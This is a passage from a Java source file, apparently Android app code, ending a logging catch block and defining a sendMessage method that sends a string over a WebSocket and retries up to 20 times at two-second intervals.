                        XLog.e(StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
                    }
                }
        );
    }


    public static void sendMessage(String msg, int attempt) {
        executorServiceUi.schedule(() -> {
                    try {

                        if (webSocket != null && webSocket.send(msg)) {
                            XLog.i("success, send msg : " + msg);
                        } else {
                            throw new Exception("Failed to send message:" + msg);
                        }
                    } catch (Exception e) {
                        if (attempt < 20) {
                            XLog.i("retrying, attempt = " + attempt);
                            sendMessage(msg, attempt + 1);
                        }
                    }
                }
                , attempt == 0 ? 0 : 2, TimeUnit.SECONDS);
    }


}